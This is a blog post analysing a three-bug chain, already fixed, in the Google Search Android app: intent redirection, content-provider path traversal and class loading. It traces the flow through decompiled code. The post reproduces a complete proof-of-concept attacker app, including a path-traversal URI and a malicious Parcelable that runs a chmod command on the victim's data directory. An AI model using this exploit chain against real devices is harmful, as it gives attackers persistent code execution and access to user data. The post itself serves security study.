In this post I’ll do an analysis of the vulnerability found in analized the bug found on the Google application com.google.android.googlequicksearchbox. The original post can be found in the following Oversecured post
The first time I read it, I could get the idea of the vulnerability found on the explanation, but I had a hard time to understand the path the application takes in order to exploit it. This is because the researcher that did the post showed the output of the tool they used to find the bugs (particularly the intent redirection). So I decided to download the apk and then doing a static analysis on it to figure out how the vulnerability really worked.
The original post did not point the particular version used to execute the analysis. It just stated that the bug was fixed in May. So I went to apkpure, and downloaded the newest version from April. In this case the version was: v12.15.9.23.
Initially the bug is a chain of three different bugs:
a- Intent redirection. This bug lets an attacker to consume any component declared by the application (even non exported ones) b- Unrestricted read/write file. In this case there is a content provider which gives access to any file in the application folder with read and write rights. It is not exported, but as there was found an Intent redirection, it can be used as well. c- Google play command execution. Whenever a file is stored in a particular folder, the application loads it in the ClassLoader.
After all the steps are followed, the remaining step is the call of any component that triggers a deserialization (I’ll explain a bit about this later on)
In this case the original post shows the output of the tool, I could see easily two different activities exported:
I’ll do the analysis on the first one:
The application starts the Activity by calling onCreate. By tracking what is being done with the intent (it is needed to receive parameters from external applications, which is what I am looking for in order to exploit the vulnerability), I found that the application calls the following method:
eVar.f67447b.l(eVar.f67446a.getIntent(), a2, true);
Let’s dissect this line of code:
But we do not need to understand it all to follow the flow of the application.
public final void l(Intent intent, Bundle bundle, boolean z2) {
Intent intent2;
y yVar;
y yVar2;
l lVar;
if (!z2 && intent != null && intent.getBooleanExtra("reuse_search_now_activity", false)) {
//reuse_search_now_activity is not being set on the exploit
}
this.E = intent;
this.K = false;
if (intent != null) {
boolean z3 = z2 && this.x.j(m.UD) && intent.getBooleanExtra("show_acp_plate", false);
this.t = z3;
if (z3) {
//show_acp_plate is not being set on the exploit
}
if (intent.getExtras() == null || !intent.getExtras().containsKey("KEY_HANDOVER_THROUGH_VELVET")) {
//intent comes with extras in teh exploit
} else {
//intent2 is an Intent sent as a parameter to the application
intent2 = (Intent) intent.getExtras().getParcelable("KEY_HANDOVER_THROUGH_VELVET");
intent.removeExtra("KEY_HANDOVER_THROUGH_VELVET");
}
if (intent2 != null && bundle == null) {
//using the intent2 here
this.f67424e.a(intent2);
}
...
So I need to see what f67424e.a does with that intent:
f67424e is an interface: com.google.android.apps.gsa.shared.util.s.g. In order to find which method is being called I need to know which class implements this interface. I looked at the same package to find it:
I checked again the flow of calls done till here, and I found that the class com.google.android.apps.gsa.searchnow.f has the following constructor:
public f(a<ak> aVar, a<dagger.a<com.google.android.apps.gsa.shared.util.s.a>> aVar2, a<dagger.a<b>> aVar3, a<com.google.android.apps.gsa.shared.r.a.a> aVar4, a<aw<com.google.android.apps.gsa.shared.logger.j.a>> aVar5) {
this.f67452a = aVar;
this.f67453b = aVar2;
this.f67454c = aVar3;
this.f67455d = aVar4;
this.f67456e = aVar5;
}
which is being called in the onCreate method from SearchNowActivity:
this.f67401j = new f(aVar, b2, m.b(aVar3), aic.R.aH(), aic.R.f27201c.bJ());
so this left me with the option of class com.google.android.apps.gsa.shared.util.s.a.
The method called is the following one:
public boolean a(Intent intent) {
if (m(intent)) {
return b(intent, this);
}
boolean a2 = super.a(intent); <-- this method is called in c (superclass of a)
It calls the a implementation on the super class (c):
public boolean a(Intent intent) {
if (!m(intent)) {
try {
...
KeyguardManager keyguardManager = (KeyguardManager) context.getSystemService("keyguard");
if (Build.VERSION.SDK_INT < 26 || !keyguardManager.isKeyguardLocked() || keyguardManager.isDeviceLocked() || !(context instanceof Activity)) {
com.google.android.apps.gsa.shared.r.a.a aVar = d.f72126a;
context.startActivity(intent, l2); <--- here the application launches the intent received as parameter
} else {
So this is the chain that allows the exploit of the intent redirection from the SearchNowActivity.
With the previous bug we had access to all the non exported components from a third-party application. So always the next step in order to see the severity of the previous bug is finding a good impact. In this case they found one of the providers with the flag android:grantUriPermissions=“true”:
<provider android:name="com.google.android.apps.gsa.contentprovider.CommonContentProvider" android:exported="false" android:process=":search" android:authorities="com.google.android.googlequicksearchbox.CommonContentProvider" android:grantUriPermissions="true"/>
It contained several handlers, one of which was in the class com.google.android.apps.gsa.staticplugins.g.c.b:
public final ParcelFileDescriptor g(Uri uri, String str) {
f(uri);
File i2 = i(uri); // `/data/data/com.google.android.googlequicksearchbox/files/ScreenAssistScreenshots/` directory
if (i2 == null) {
N.b(f96308d.b(), "Path not found for uri %s", uri, 14080);
String valueOf = String.valueOf(uri.toString());
throw new FileNotFoundException(valueOf.length() != 0 ? "Path not found for uri ".concat(valueOf) : new String("Path not found for uri "));
}
i2.mkdirs();
//uri.getLastPathSegment() unescapes the content received
return ParcelFileDescriptor.open(new File(i2, uri.getLastPathSegment()), ParcelFileDescriptor.parseMode(str.toLowerCase(Locale.getDefault()))); //path traversal leading to any file in the application folder
}
In the original post there is no explanation of how the handlers are configured. There was no easy way to find the class shown in the report, because the code is passed through a deobfuscator (similar in results and syntaxis to the one of jadx), so the classes are not the ones decoded by jadx. I could find the class by checking what the i(uri) did:
private final File i(Uri uri) {
if (uri.equals(Uri.EMPTY)) {
return null;
}
File filesDir = this.f96312h.getFilesDir();
List<String> pathSegments = uri.getPathSegments();
String str = pathSegments.get(pathSegments.size() - 2);
//validates that the path is /data/data/com.google.android.googlequicksearchbox/files/ScreenAssistScreenshots/ or /data/data/com.google.android.googlequicksearchbox/files/ScreenAssistCropScreenshots/
if (str.equals("ScreenAssistScreenshots") || str.equals("ScreenAssistCropScreenshots")) {
return new File(filesDir, uri.getEncodedPath()).getParentFile();
}
...
com.google.android.apps.gsa.staticplugins.g.c.b is not used directly, it extends an abstract class “d”:
public final ParcelFileDescriptor g(Uri uri, String str)
It is being called in “com.google.android.apps.gsa.contentprovider.a.g”:
public final Object a() {
j jVar = this.f29642a;
f fVar = this.f29643b;
a aVar = jVar.f29652b;
Uri uri = fVar.f29655a;
String str = fVar.f29660b;
Pair<d, Uri> b2 = aVar.b(uri);
if (com.google.android.libraries.aw.g.f186855a.booleanValue()) {
String valueOf = String.valueOf(uri);
String valueOf2 = String.valueOf(b2.first);
String valueOf3 = String.valueOf(b2.second);
int length = String.valueOf(valueOf).length();
StringBuilder sb = new StringBuilder(length + 30 + String.valueOf(valueOf2).length() + String.valueOf(valueOf3).length());
sb.append("openFile(");
sb.append(valueOf);
sb.append(") delegated to ");
sb.append(valueOf2);
sb.append(" uri: ");
sb.append(valueOf3);
Log.d("DynamicHostProvider", sb.toString());
}
return ((d) b2.first).g((Uri) b2.second, str);
}
In this case we see that based on the Uri received, the “aVar.b” method returns a Pair<d, Uri>. In this case d is a Handler, which returns the ParcelFileDescriptor we wanted. This method generates a Uri based on the uri received. The method creates the instance of d
public final Pair<d, Uri> b(Uri uri) {
Pair pair = null;
if (uri != null) {
ArrayList arrayList = new ArrayList(uri.getPathSegments());
if (arrayList.size() >= 2) {
//parse Uri
pair = Pair.create(str, build);
} else if (f186855a.booleanValue()) {
String valueOf3 = String.valueOf(uri);
StringBuilder sb2 = new StringBuilder(String.valueOf(valueOf3).length() + 13);
sb2.append("Invalid URI: ");
sb2.append(valueOf3);
Log.w("DynamicHostProvider", sb2.toString());
}
}
if (pair != null) {
// in a the d object is generated.
return Pair.create(a((String) pair.first), (Uri) pair.second);
}
String valueOf4 = String.valueOf(uri.toString());
throw new IllegalArgumentException(valueOf4.length() != 0 ? "Invalid uri: ".concat(valueOf4) : new String("Invalid uri: "));
}
a is an abstract method from com.google.android.libraries.aw.g:
public abstract d a(String str);
We need to find which class returns the “com.google.android.apps.gsa.staticplugins.g.c.b” class, but it gets complicated to trace statically this code. The alternative in this case is to run the application and trace it.
NOTE: The remaining analysis on this section path will be done in a future due to limitations on environment.
After the content provider is sent to the client, the attacker writes a file in a particular folder. This triggers the a ClassLoader (that vulnerability can be seen in more detail on the following blogpost https://blog.oversecured.com/Oversecured-automatically-discovers-persistent-code-execution-in-the-Google-Play-Core-Library/).
After the three steps are executed an attacker needs to send any Intent message to a component that deserializes the payload. Android deserializes all the objects sent in an Intent as a parameter when any extra of the it is required, like in the following example:
Intent intent = getIntent();
String expected = intent.getStringExtra("EXPECTED");
You can read more about this bug in the following post: https://securitylab.github.com/research/android-deserialization-vulnerabilities/
In this case the attacker would send as a parameter a deserializable class that would execute code on the method that parses it. In this case the attacker knows which class is vulnerable because they forced the application to load it by abusing the Google play command bug.
The following payload is shown in the original post:
public class MainActivity extends Activity {
static final String APP = "com.google.android.googlequicksearchbox";
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handle(getIntent());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handle(intent);
}
private void handle(Intent intent) {
if("evil".equals(intent.getAction())) {
try {
//3- upload the APK with the malicious class in the victim application
//the inclusion of the file in the ClassLoader is due to the third vulnerability in the chain
InputStream i = new FileInputStream(getApplicationInfo().sourceDir);
OutputStream o = getContentResolver().openOutputStream(intent.getData());
IOUtils.copy(i, o);
i.close();
o.close();
} catch (Throwable th) {
throw new RuntimeException(th);
}
start();
}
else {
//2- abusing content provider and path traversal (see the escaped path ..%2Fsplitcompat%2F)
//this will be called by the victim application automatically due to the intent redirection bug that we already analyzed
Uri uri = Uri.parse("content://com.google.android.googlequicksearchbox.CommonContentProvider/assist.com.google.android.apps.gsa.staticplugins.assist.screenshot.ScreenshotProvider/1/ScreenAssistScreenshots/..%2Fsplitcompat%2F" + getVersionCode() + "%2Fverified-splits%2Fconfig.test.apk");
Intent next = new Intent("evil", uri);
next.setClass(this, getClass());
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
//1- abusing the intent redirection in SearchActivity
Intent i = new Intent("android.intent.action.ASSIST");
i.setClassName(APP, "com.google.android.googlequicksearchbox.SearchActivity");
i.putExtra("KEY_HANDOVER_THROUGH_VELVET", next);
startActivity(i);
}
}
private int getVersionCode() {
try {
return getPackageManager().getPackageInfo(APP, 0).versionCode;
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
private void start() {
//4- after the class is loaded, any component that gets an extra from the intent will deserialize the EvilParcelable class. This is pretty easy to find in any application
Intent i = new Intent("com.google.android.gms.udc.action.FACS_CACHE_UPDATED_EXPLICIT");
i.setClassName(APP, "com.google.android.apps.search.googleapp.permissions.udcdataservice.facs.FacsBroadcastReceiver_Receiver");
i.putExtra("evil", new EvilParcelable());
sendBroadcast(i);
}
}
And the EvilParcelable class:
public class EvilParcelable implements Parcelable {
public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
public EvilParcelable createFromParcel(android.os.Parcel parcel) {
exploit();
return null;
}
public EvilParcelable[] newArray(int i) {
exploit();
return null;
}
private void exploit() {
try {
Runtime.getRuntime().exec("chmod -R 777 /data/data/" + MainActivity.APP).waitFor();
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
};
public int describeContents() { return 0; }
public void writeToParcel(android.os.Parcel parcel, int i) {}
}
This is an incredible bug, using a chain of three different vulnerabilities to find a persistent remote code execution. It is worth understanding the whole chain because it uses different techniques that are commonly find in many applications. Congratulations to the Oversecured team that found it!